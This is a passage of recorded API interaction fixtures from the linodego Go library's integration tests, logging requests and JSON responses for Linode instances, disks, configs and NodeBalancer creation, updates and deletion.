"ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240957, "label": "lke75117-116798-633c48b05dd7", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["50.116.45.165", "192.168.198.78"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240959, "label": "lke75118-116800-633c48be1f78", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["170.187.205.32", "192.168.198.199"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240964, "label": "lke75118-116801-633c48be62a3", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["45.79.200.235", "192.168.142.5"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240967, "label": "lke75118-116801-633c48be7a4b", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["74.207.232.207", "192.168.142.45"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240968, "label": "lke75119-116802-633c48cca530", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["50.116.35.19", "192.168.232.82"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240972, "label": "lke75119-116803-633c48ccef6e", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["45.56.115.47", "192.168.232.209"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240974, "label": "lke75117-116799-633c48b0a3b5", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["170.187.139.137", "192.168.235.83"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240982, "label": "lke75119-116803-633c48cda97d", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["194.195.214.58", "192.168.235.122"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}, {"id": 39240986, "label": "lke75119-116803-633c48ccd858", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["23.92.29.84", "192.168.202.167"], "ipv6": "1234::5678/128", "image": null, "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}], "page": 1, "pages": 1, "results": 15}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916 method: GET response: body: '{"id": 29745916, "label": "workdev", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-standard-2", "ipv4": ["139.177.207.51"], "ipv6": "1234::5678/128", "image": "linode/fedora34", "region": "us-southeast", "specs": {"disk": 81920, "memory": 4096, "vcpus": 2, "gpus": 0, "transfer": 4000}, "alerts": {"cpu": 180, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["linuke-keep"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "641" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916/configs method: GET response: body: '{"data": [{"id": 31906080, "label": "My Fedora 34 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 60063322, "volume_id": null}, "sdb": {"disk_id": 60063323, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "653" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916/configs/31906080 method: GET response: body: '{"id": 31906080, "label": "My Fedora 34 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 60063322, "volume_id": null}, "sdb": {"disk_id": 60063323, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "604" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916/disks method: GET response: body: '{"data": [{"id": 60063322, "status": "ready", "label": "Fedora 34 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 81408}, {"id": 60063323, "status": "ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "386" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916/disks/60063322 method: GET response: body: '{"id": 60063322, "status": "ready", "label": "Fedora 34 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 81408}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "167" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916/backups method: GET response: body: '{"automatic": [], "snapshot": {"current": null, "in_progress": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "69" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/29745916/volumes method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"mine":true}' url: https://api.linode.com/v4beta/linode/stackscripts method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleCreateNodeBalancer.yaml000066400000000000000000000152551455402072200324240ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname": "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "344" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357846 method: GET response: body: '{"id": 357846, "label": "balancer357846", "region": "us-southeast", "hostname": "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "344" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"balancer357846_renamed","client_conn_throttle":20,"tags":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357846 method: PUT response: body: '{"id": 357846, "label": "balancer357846_renamed", "region": "us-southeast", "hostname": "139-144-255-40.ip.linodeusercontent.com", "ipv4": "139.144.255.40", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "352" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357846 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml000066400000000000000000000303611455402072200335450ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 357847, "label": "balancer357847", "region": "us-southeast", "hostname": "45-79-245-144.ip.linodeusercontent.com", "ipv4": "45.79.245.144", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"check_interval":30,"check_attempts":5,"check_timeout":5}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357847/configs method: POST response: body: '{"id": 550599, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "436" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":8080,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":30,"check_attempts":5,"check_passive":true,"check_timeout":5,"cipher_suite":"recommended"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 method: PUT response: body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357847/configs method: GET response: body: '{"data": [{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "487" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 method: GET response: body: '{"id": 550599, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, 